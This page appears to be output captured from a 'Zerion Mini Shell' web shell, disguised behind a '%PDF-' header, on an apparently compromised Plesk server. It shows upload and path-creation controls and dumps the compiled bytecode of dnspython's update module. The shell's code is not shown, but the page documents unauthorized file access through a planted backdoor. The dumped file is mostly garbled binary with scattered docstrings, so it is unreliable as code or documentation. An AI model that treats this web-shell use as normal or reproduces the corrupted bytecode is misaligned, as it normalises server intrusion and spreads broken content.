%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib/python2.7/site-packages/dns/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pyc

�
�ac@s�dZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
dejjfd��YZ
dS(sDNS Dynamic Update Supporti����Ni(tstring_typestUpdatecBs�eZejjd
d
ejjd�Zd
d
d�Z	d�Z
d�Zd�Zd�Z
d�Zd
d�Zd
dd	�ZRS(c	Cs�tt|�j�|jtjjtjj�O_t|t	�rXtj
j|�}n||_t|t	�r�tj
j|�}n||_|j|j|j|tjjdtdt�|dk	r�|j||d|�ndS(s�Initialize a new DNS Update object.

        See the documentation of the Message class for a complete
        description of the keyring dictionary.

        *zone*, a ``dns.name.Name`` or ``text``, the zone which is being
        updated.

        *rdclass*, an ``int`` or ``text``, the class of the zone.

        *keyring*, a ``dict``, the TSIG keyring to use.  If a
        *keyring* is specified but a *keyname* is not, then the key
        used will be the first key in the *keyring*.  Note that the
        order of keys in a dictionary is not defined, so applications
        should supply a keyname when a keyring is used, unless they
        know the keyring contains only one key.

        *keyname*, a ``dns.name.Name`` or ``None``, the name of the TSIG key
        to use; defaults to ``None``. The key must be defined in the keyring.

        *keyalgorithm*, a ``dns.name.Name``, the TSIG algorithm to use.
        tcreatetforce_uniquet	algorithmN(tsuperRt__init__tflagstdnstopcodetto_flagstUPDATEt
isinstanceRtnamet	from_texttorigint
rdataclasstzone_rdclasst
find_rrsettquestiont	rdatatypetSOAtTruetNonetuse_tsig(tselftzonetrdclasstkeyringtkeynametkeyalgorithm((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pyR!s!		!
c	Csb|dkr|j}n|j�}|j|||j|j||tt�}|j||�dS(s&Add a single RR to the update section.N(Rt	authoritytcoversRRtrdtypeRtadd(RR
tttltrdtdeletingtsectionR trrset((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pyt_add_rrFsc
Gs�t|t�r'tjj|d�}nt|dtjj�r�xx|D]O}|ri|j||j	�nx*|D]"}|j
||j|d|�qpWqGWnt|�}t
|jd��}t|dtjj�r$|r�|j||dj	�nx�|D]}|j
|||d|�q�Wn�|jd�}t|t�rWtjj|�}n|rp|j||�nxH|D]@}	tjj|j||	|j�}|j
|||d|�qwWdS(s�Add records.

        *replace* is the replacement mode.  If ``False``,
        RRs are added to an existing RRset; if ``True``, the RRset
        is replaced with the specified contents.  The second
        argument is the section to add to.  The third argument
        is always a name.  The other arguments can be:

                - rdataset...

                - ttl, rdata...

                - ttl, rdtype, string...
        iR&N(RRRR
RRtrdatasettRdatasettdeleteR!R(R#tlisttinttpoptrdatatRdataRRR(
RtreplaceR&R
targstrdsR$R#R!ts((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pyt_addPs0

'
 
cGs|jt|j||�dS(s�Add records.

        The first argument is always a name.  The other
        arguments can be:

                - rdataset...

                - ttl, rdata...

                - ttl, rdtype, string...
        N(R5tFalseR(RR
R2((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pyR"{s
c	Gs�t|t�r'tjj|d�}nt|�dkry|j|j|tj	j
tjj
tjjtjj
t
t
�nyt|dtjj�r�x]|D]3}x*|D]"}|j|d|tj	j�q�Wq�Wnt|�}t|dtjj�r(x�|D]"}|j|d|tj	j�q�Wn�|jd�}t|t�r[tjj|�}nt|�dkr�|j|j||j|tjjtj	j
t
t
�nNxK|D]C}tjj|j|||j�}|j|d|tj	j�q�WdS(s�Delete records.

        The first argument is always a name.  The other
        arguments can be:

                - *empty*

                - rdataset...

                - rdata...

                - rdtype, [string...]
        iN(RRRR
RRtlenRRRtANYRtNONERR)R*R(R,R/R0R.RR(RR
R2R3R$R!R4((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pyR+�s6

'
#			

cGs|jt|j||�dS(sbReplace records.

        The first argument is always a name.  The other
        arguments can be:

                - rdataset...

                - ttl, rdata...

                - ttl, rdtype, string...

        Note that if you want to replace the entire node, you should do
        a delete of the name followed by one or more calls to add.
        N(R5RR(RR
R2((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pyR1�sc	Gsnt|t�r'tjj|d�}nt|�dkrs|j|j|tj	j
tjj
tjjdt
t
�n�t|dtjj�s�t|dtjj�s�t|�dkrt|dtjj�s�t|�}|jdd�n|jt|j||�n_|d}t|t�r9tjj|�}n|j|j|tj	j
|tjjdt
t
�dS(sSRequire that an owner name (and optionally an rdata type,
        or specific rdataset) exists as a prerequisite to the
        execution of the update.

        The first argument is always a name.
        The other arguments can be:

                - rdataset...

                - rdata...

                - rdtype, string...
        iiN(RRRR
RRR7RtanswerRR8RR9RR)R*R/R0R,tinsertR5R6(RR
R2R!((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pytpresent�s*

c	Cs�t|t�r'tjj|d�}n|dkrm|j|j|tjj	tj
jtj
j	dtt�nUt|t�r�tj
j|�}n|j|j|tjj	|tj
j	dtt�dS(s�Require that an owner name (and optionally an rdata type) does
        not exist as a prerequisite to the execution of the update.N(
RRRR
RRRR:RR9RR8R(RR
R!((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pytabsent�s
i��cCs1|dkr|j}ntt|�j||�S(sLReturn a string containing the update in DNS compressed wire
        format.

        *origin*, a ``dns.name.Name`` or ``None``, the origin to be
        appended to any relative names.  If *origin* is ``None``, then
        the origin of the ``dns.update.Update`` message object is used
        (i.e. the *zone* parameter passed when the Update object was
        created).

        *max_size*, an ``int``, the maximum size of the wire format
        output; default is 0, which means "the message's request
        payload, if nonzero, or 65535".

        Returns a ``binary``.
        N(RRRRtto_wire(RRtmax_size((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pyR>sN(t__name__t
__module__RRtINRttsigtdefault_algorithmRR(R5R"R+R1R<R=R>(((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pyRs$
	+		.		'(t__doc__tdns.messageRtdns.namet
dns.opcodet	dns.rdatatdns.rdataclasstdns.rdatasettdns.tsigt_compatRtmessagetMessageR(((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/update.pyt<module>s

Zerion Mini Shell 1.0